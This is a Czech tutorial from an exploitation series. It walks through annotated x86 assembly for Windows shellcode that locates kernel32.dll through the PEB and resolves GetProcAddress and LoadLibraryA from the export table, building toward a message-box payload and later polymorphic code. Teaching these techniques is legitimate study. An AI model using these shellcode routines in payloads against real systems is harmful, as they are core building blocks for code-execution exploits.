Autor: BabCA SjEs | 10.6.2007 |
Jak jsme si slíbili v minulém díle, dnes si ukážeme, jak se hledá v paměti knihovna kernle32.dll a ukážeme si jak se vytváří základní typ polymorfního shellcodu.
Určitě by jste měli mít v paměti článek Exploitace #1 - Shellcode.
To samé, jako v prvním díle, ale s tímto balíčkem, který obsahuje zase všechny kódy a utilitu code_generator, napsanou Pythonu. Tento program slouží pro přepsání našeho kódu do Céčkové podoby nebo pro vygenerování polymorfního kódu.
Jak jsme si řekli v prvním díle, kernel se nahrává do paměti mezi prvníma, proto je více než pravděpodobné, že bude ležet někde ve vyšších adresách. Tuto domněnku využívá první způsob hledání. Jde o to, že se hledá od nějaké přibližné adresy signatura hlavičky knihovny. Tato signatura je MZ, jelikož v PE souborech jsou v hlavičce první dva bajty rezervované právě pro tyto znaky (MZ). Tento způsob je spíše tipovací, jelikož předpokládá, že tam ten kernel bude ležet. Bohužel je možnost, že tam bude ležet i jiná knihovna. Tento způsob můžeme označit tedy za nevyhovující. Proto tu je spolehlivá metoda, která je o něco složitější, ale vždy funkční na "libovolné" verzi systému Windows. Je založena na nějakých výpočtech, které mi jsou zatím utajeny:
xor eax, eax ; - Nuluj eax
; mov eax, dword ptr fs:[eax+30h] ; - Toto se mi nepovedlo prelozit v zadnem asm ( (F,M,N)ASM ),
; - proto se nahrazuje primo kodem, který vznikne po prelozeni
db 64h, 8Bh, 40h, 30h
test eax, eax ; - Proved bitovy soucin
js hledej_kernel_9x ; - Skoc pokud je nastaven prinak SF (jedna se o system windows 9x)
push esi ; - uloz esi
mov eax, dword ptr ds:[eax+0Ch] ; - Do eax uloz dvojslovo na adrese: data_segmen : eax + 12
mov esi, dword ptr ds:[eax+01Ch] ; - Do esi uloz dvojslovo na adrese: data_segmen : eax + 28
lods dword ptr ds:[esi] ; - Nahraj do registru eax adresu DS:ESI (zvis/sniz esi o 4). Timto si nejsem moc jistej
mov eax, dword ptr ds:[eax+8h] ; - Do eax uloz dvojslovo na adrese: data_segmen : eax + 8
pop esi ; - Obnov esi
jmp hledej_dll ; - Uz jsme nasli adresu kernelu, je ulozena v eax
hledej_kernel_9x: ; - Heldej kernel na systemu 9x
mov eax, dword ptr ds:[eax+34h] ; - Do eax uloz dvojslovo na adrese: data_segmen : eax + 52
add eax, 7Ch ; - K eax pricti 124
mov eax, dword ptr ds:[eax+3Ch] ; - Do eax uloz dvojslovo na adrese: data_segmen : eax + 60
Tak pokud někdo dokážete slovně popsat jak ten kernel hledá, tak mi napište. Pro jistotu můžeme ještě přidat kontrolu, jestli je adresa v eax opravdu ukazatel na nějakou knihovnu. Toto se provádí zase pomocí porovnání hlavičky se znaky MZ. Pokud tam ta knihovna není tak se ji pokusíme najít pomocí prvního způsobu, tedy postupným hledáním:
hledej_dll: ; - Pro jistotu kontrola
cmp word ptr [eax], 5A4Dh ; - Porovnej 2 znaky s MZ (hlavicka dll)
je mam_dll ; - Je-li shoda, mame presnou adresu
dec eax ; - Pokud ne sniz eax o jedna (=> Pokus se najit presnejsi adresu)
jmp hledej_dll ; - Pokracuj v hledani
Tato kontrola je naštěstí nepovinná, jelikož v eax bývá opravdu ukazatel na kernel, ale jistota je jistota. Teď si musíme uvědomit co všechno v eax máme. Jak jsme si řekli je to adresa začátku knihovny a zároveň je to i handle, takže tuto adresu můžeme předávat jako jeden z parametrů funkce GetProcAddress, což nám nadále usnadní práci. Je dobré si tuto hodnotu uložit na zásobník, jelikož ji budeme hodně používat.
Teď když známe adresu knihovny kernel32.dll, musíme ještě najít
také adresy funkcí, které obsahuje. Pokud potřebujeme jen jednu libovolnou
funkci z této knihovny, můžeme hledat rovnou ji, ale ve většině případů jich
budeme potřebovat víc. V prvním díle jsme si ukázali, že na to, abychom se
dostali k libovolným funkcím a knihovnám nám stačí pouze dvě funkce
GetProcAddress a LoadLibraryA. Podíváme-li se na GetProcAddress blíže, zjistíme,
že přebírá dva parametry a to handle a název hledané funkce. Jelikož handle
knihovny kernel známe, už nepotřebujeme hledat LoadLibraryA, jelikož si ji
můžeme kdykoliv zjistit pomocí GetProcAddress. Samotné vyhledání adresy funkce
je docela složitá věc, ale nic tak hrozného. Na to, abychom nalezli tuto adresu,
potřebujeme vědět jak vypadá hlavička knihovny.
Na adrese +0x3C od začátku kernelu se nachází PE hlavička. Přičtením 0x78 k PE se dostaneme na offset seznamu exportovaných funkcí. Tento seznam mimo jiné obsahuje počet exportovaných funkcí (+0x14) a offset na offsety názvů funkcí (+0x20). Vypadá to strašně, ale v kódu je to snad lépe čitelný.
mam_dll:
; - Mame presnou adresu
push eax
; - Uloz adresu (handle) kernelu na zasobnik, pro dalsi pouziti
jmp getprocaddress
; - Ziskej retezec GetProcAddress
MamGetProcAddress:
pop edx
; - Uloz ukazatel do edx
xor ebx, ebx
; - Nuluj ebx
mov byte ptr [edx+14], bl
; - Dosad NULL do retezce
mov ebx, eax
; - Zkopiruj adresu kernelu do ebx
mov esi, dword ptr [ebx+3Ch]
; - Offset na PE
add esi, ebx
; - K tomuto ofsetu pricti adresu kernelu
mov esi, dword ptr [esi+78h]
; - Export Table Address
add esi, ebx
; - K tomuto ofsetu pricti adresu kernelu
mov ecx, dword ptr [esi+14h]
; - Do ecx uloz pocet exportovanych funkci knihovnou
mov edi, dword ptr [esi+20h]
; - Do edi uloz adresu kde je offset na seznam nazvu funkci
add edi, ebx
; - K teto adrese pricti adresu kernelu
xor ebp, ebp
; - Nuluj ebp, zde si budeme ukladat indexi funkci
push esi
; - Schovame Export Table, jelikoz se bude menit
...
...
getprocaddress:
; - Potreba pri hledani kernelu
call MamGetProcAddress
db "GetProcAddressN"
Nyní, když už známe počet exportovaných funkcí v knihovně a ukazatele na jejich názvy, můžeme se pustit do hledání funkce GetProcAddress, respektive do hledaní jejího indexu.
Toto se provádí pomocí porovnávaní řetězců na adresách určených v ExportTable.
smycka_hledejadresu:
; - Do (Smicka)
push edi
; - Ulozime si edi, ecx na zasobnik
push ecx
mov edi, dword ptr [edi] ; - Najdeme
si offset na nazev dane fce
add edi, ebx
; - Ziskame adresu z ofsetu
mov esi, edx
; - Nas string GetProcAddress
xor ecx, ecx
; - Nuluj ecx
mov cl, 0Eh
; - Do 8 bitoveho cl (z ecx) uloz delku retezce (14)
repz cmpsb
; - Porovname (ecx = delka retezce)
je getprocaddr_nalezeno ; - Pokud souhlasi
pokracujeme dal
pop ecx
; - Pokud ne, vratime ecx = zbyvajici pocet funkci
pop edi
; - Obnovime edi = adresa na offsety s nazvy funkci
add edi, 4h
; - Pricteme delku ofsetu, takze se edi odkazuje na dalsi funkci
inc ebp
; - Zvisime ebp (index funkce) a zkousime dalsi
loop smycka_hledejadresu ; - Until (ecx <> 0)
; - Hledame dalsi (pocet kroku v ecx ktery je nastaven na pocet exportovanych
fci)
Takže po tomto kroku máme v ebp index funkce v ExportTable, abychom našli adresu
GetProcAddress, musíme provést zase nějaké záhadné kroky.
getprocaddr_nalezeno:
pop ecx ; - Vratime ze zasobniku 3 ulozene hodnoty
pop edi
pop esi
mov ecx, ebp
; - Presuneme index do ecx
shl ecx, 1
; - Vynasobime dvema
mov eax, dword ptr [esi+24h] ; -
Najdeme adresu na tabulku s dalsimi offsety
add eax, ebx
; - K adrese pricteme adresu kernelu
add eax, ecx
; - K eax pricteme index a ziskame adresu na index teto fce v jine tabulce :)
xor ecx, ecx
; - Nuluj ecx, ecx
mov cx, word ptr [eax]
; - Do cx nacteme slovo z teto adresy cimz ziskame dany index
shl ecx, 2h
; - Vynasobime 4ma
mov eax, dword ptr [esi+1Ch] ; -
Najdeme offset tabulky adres funkci
add eax, ebx
; - Z offsetu ziskame adresu
add eax, ecx
; - Pricteme index a ziskali sme konecnou adresu na ktere je offset fce
mov eax, dword ptr [eax]
; - Nacteme offset dane fce
add eax, ebx
; - Konecne mame vyslednou adresu
push eax
; - Ulozime adresu na zasobnik
Tak konečně máme adresu funkce uloženou v registru eax a na zásobníku. Toto je asi hodně složitý, ale snad zcela "přesný" způsob hledání kernelu a jeho funkcí. Bohužel lepší jsem nenašel, tak se budu muset asi spokojit s tímto. Tady je poskládaný toto zlo, který hledá kernel v paměti a adresu funkce GetProcAddress.
Nyní si musíme rozmyslet jak budeme manipulovat s adresou kernelu a GetProcAddress. Můžeme si vybrat mezi zásobníkem a registry. Já volím zásobník a proto se tu budeme zabývat pouze toto metodou, jelikož se nám uvolní všechny registry. Podívejme se tedy blíže na zásobník.
Vrchol zásobníku, jehož adresa je uložena v registru esp, roste směrem k nižším adresám, takže pokud uložíme na zásobník dvě hodnoty (A, B), bude hodnota A ležet na adrese 4 bajty vyšší než B. Zároveň se esp sníží o 8 bajtů (4bajty*2 -> uložili jsme dvě hodnoty). Ukažme si tedy rozmístění dat v našem zásobníku. Za předpokladu, že esp ukazuje na vrchol zásobníku, bude GetProcAddress ležet na adrese [esp+0], tedy na vrcholu a kernel bude na [esp+4]. Nesmíme ale zapomínat, že pokud přidáme na zásobník nějaké další hodnoty, bude ležet GetProcAddress na [esp+4*pocet_pridanych]. Na kernel bychom ještě přičetli 4.
; ESP => Ukazatel na vrchol zasobniku
;
; +0 _________________
; | GetProcAddress
|
; |_________________|
; +4 _________________
; | Kernel32.dll
|
; |_________________|
Když už víme jak se dostat k našim nalezeným hodnotám, nic nám nebrání, abychom si zjistili adresu funkce LoadLibraryA.
jmp load
; - Ziskej ukazatel na retezec
mam_load:
xor ecx, ecx
; - Nuluj ecx, pro dosazeni NULL
pop edx
; - Vem adresu
mov byte ptr [edx+0Ch], cl ; - Pridej NULL
push edx
; - Uloz na zasobnik
push dword ptr [esp+08h] ; - Kernel se nam
posunul o dalsi 4 bajty, tedy puvodni 4 + 4*1 = 8
; - Adresa kernelu je zaroven i handle
call dword ptr [esp+08h] ; - Fce se
posunula o 8 bajtu (dva parametry), tedy 4*2 = 8
; - V eax adresa na LoadLibraryA
...
...
load:
call mam_load
db "LoadLibraryAN"
V eax máme nyní uloženou adresu funkce. Můžeme si ji uložit na zásobník, ale v našem shellcodu ji potřebujeme pouze jednou, tak je to zbytečné.
Už jsme si ukázali jak najít kernel v paměti, vyhledat adresu funkce GetProcAddress, jak používat tyto adresy uložené na zásobníku a tak nám nic nebrání vrhnout se na náš shellcod, který nám má zobrazit zprávu. Nejedná se už o nic těžkého, výsledek si můžete prohlídnout zde. Je podobný poslednímu kódu v předchozím díle, akorát jsme přidali kód na hledání kernelu, funkce GetProcAddress a místo adres voláme data uložená na zásobníku.
Bohužel se sem nevešlo všechno co bych chtěl, tak v příštím díle si ukážeme jak vytvořit jednoduchý polymorfní kód a nakousneme little/big endian. Ještě se znovu podíváme na tento kód, jelikož po zkompilování nám vznikne pár NULL bajtů, tak si ukážeme jak se jich zbavit, což zahrnuje práci s řetězci pomocí zásobníku :).
<$] Babča Sjes [$>